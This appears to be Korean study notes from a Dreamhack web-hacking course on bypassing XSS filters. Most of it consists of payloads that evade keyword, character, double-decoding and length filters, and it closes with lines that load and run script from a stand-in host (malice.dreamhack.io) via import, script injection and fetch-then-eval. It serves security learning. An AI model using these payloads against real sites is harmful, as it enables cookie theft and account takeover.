[Dreamhack] STAGE2. XSS Filtering Bypass (2)
Web Hacking Advanced(Client Side) - XSS Filtering Bypass
- 자바스크립트 함수 및 키워드 필터링
- 디코딩 전 필터링, 길이 제한
Exploit Tech : XSS Filtering Bypass - 2
자바스크립트 함수 및 키워드 필터링
js는 Unicode escape sequence와 Computed member access를 지원한다.
Unicode escape sequence : “\uAC00” == “가”와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
Computed member access : 객체의 특성 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능 (“coo”+”kie” = “cookie”)
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
따라서, XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우, 우회할 수 있는 방법이 매우 다양하다.
구문 | 대체구문 |
---|---|
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 | window[‘al’+’ert’], window[‘XMLHtt’+’pRequest’] 등 이름 끊어서 쓰기 |
window | self, this |
eval(code) | Function(code)() |
Function | isNaN[‘constr’+’uctor’] 등 함수의 constructor 속성 접근 |
극단적인 경우, js의 언어적 틀성을 활용하여 6개의 문자 (,),[,],!,+ 만으로 모든 동작을 수행할 수 있다. 이 기법은 cookie와 같이 기존 xss 필터링에서 주로 탐지하는 단어들을 언급하지 않아도 된다는 장점이 있으나, 공격구문의 길이가 늘어난다는 단점이 존재한다.
필터링 혹은 인코딩/디코딩 등의 이유로 특정 문자 ((),[],”,’) 가 제한당한 경우
문자열 선언
1) Template Literals
문자열을 사용할 때 필요한 “, ‘가 필터링되어있다면, 템플릿 리터럴을 사용할 수 있다. 템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄로 이루어진 문자열과 문자를 보관하기 위한 기능으로 이용할 수 있다. 템플릿 리터럴은 `을 사용하여 선언할 수 있으며, 내장된 ${}표현식을 이용해 다른 변수나 식을 사용할 수 있다.
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
2) RegExp 객체
/Hello World!/ 형태로 RegExp 객체를 생성하고 객체의 패턴을 가져옴으로서 문자열을 생성
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
3) String.fromCharCode
String.fromCharCode는 유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
4) 기본 내장함수, 객체의 문자 사용
원하는 문자열을 만드는 데 필요한 문자들을 내장함수 또는 객체로부터 한 글자씩 가져와 문자열을 만들 수 있다
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
* history.toString() -> “[object History]” / URL.toString() -> “function URL() { [native code] }” , history+[]; history+0; 와 같이 함수나 객체와 산술 연산을 수행하게 되면 연산을 위해 객체 내부적으로 toString 함수를 호출해 문자열로 변환한 후에 연산을 수행한다.
5) 숫자 객체의 진법 변환
10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있다. 이 때 E4X 연산자 (“..”) 를 사용하며, 주로 점 2개를 사용하거나, 소수점으로 인식되지 않도록 공백과 점을 조합하여 사용한다
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
함수 호출
일반적으로 자바스크립트의 함수를 호출하기 위해서는 소괄호 또는 백틱을 사용해야한다
alert(1); // Parentheses
alert`1`; // Tagged Templates
소괄호와 백틱문자가 모두 필터링되어 있는 경우
1) javascript 스키마를 이용한 location 변경
javascript: 스키마를 이용하면 URL을 이용해 자바스크립트 코드를 실행시킬 수 있다. 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능하다.
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
2) Symbol.hasInstance 오버라이딩
자바스크립트에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성의 명칭으로 사용할 수 있다. Symbol.hasInstance well-known symbol을 이용하면, instanceof 연산자를 오버라이드 할 수 있다. 즉, 0 instanceof C를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 된다. 이 특성을 이용해 instanceof를 연산하게 되면, 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
3) document.body.innerHTML 추가
document.body.innerHTML 을 통해 HTML 코드를 문서에 추가하여, 이를 통해 자바스크립트를 실행할 수 있다. (script 태그 사용 불가 / 이벤트 핸들러 사용)
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
디코딩 전 필터링
본래 입력 검증은 디코딩과 같은 모든 전처리 작업을 마치고 수행된다. 예를 들어, 클라이언트의 요청이 웹 방화벽을 거쳐 애플리케이션으로 전달되는 웹 서버의 경우, 웹 방화벽은 요청을 검증해서 XSS 공격 코드를 차단한다. 애플리케이션은 웹 방화벽을 통과한 데이터를 받아 작업을 수행한다. 이 때 애플리케이션은 전달받은 데이터를 다시 디코딩해서 사용하면 안 된다. (공격자가 더블 인코딩으로 웹 방화벽의 검증을 우회할 수 있기 때문)
* 더블 인코딩 : 보안 제어를 무시하거나, 응용 프로그램에서 예기치 않은 동작을 일으키기 위해 매개변수를 16진수 형식으로 2번 인코딩하는 것으로, 사용자 입력을 한 번만 디코딩하는 보안 필터를 무시한다.
- 공격자가 더블 URL 인코딩한 공격 코드 %253Cscript%253E(이하 생략)를 포함하여 게시글 업로드 요청
- 웹 방화벽이 해당 데이터를 디코딩 후 검증 -> 디코딩 결과인 %3Cscript%3E(이하 생략)는 안전하다고 판단하여 차단하지 않고 애플리케이션에 전달
- 애플리케이션이 해당 데이터를 또 디코딩하여 < script >(이하 생략)를 게시판 DB에 저장합니다. (검증 후 디코딩 발생)️
- 해당 게시글을 읽으면 XSS가 발생하여 악성 자바스크립트 코드가 실행
이처럼 웹 방화벽의 검증 이후 다시 디코딩할 경우, 공격자는 더블 URL 인코딩으로 웹 방화벽 검증을 우회할 수 있다. 뿐만 아니라, 애플리케이션 내부의 검증 로직 이후에도 디코딩을 하면 안 되며, 만약 php 애플리케이션 코드에 더블 디코딩 취약점이 존재하면, 더블 URL 인코딩을 이용해 우회하는 것이 가능하다.
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>
길이 제한
삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드를 사용할 수 있다. Fragment로 스크립트를 넘겨준 후 XSS 지점에서 location.hash로 URL의 Fragment 부분을 추출하여 eval()로 샐행하는 기법이 흔히 쓰인다. 그 외에도, 쿠키에 페이로드를 저장하는 방식과 import 와 같은 외부 자원을 스크립트로 로드하는 방법 또한 사용할 수 있다.
1) location.hash
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
2) 외부 자원
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))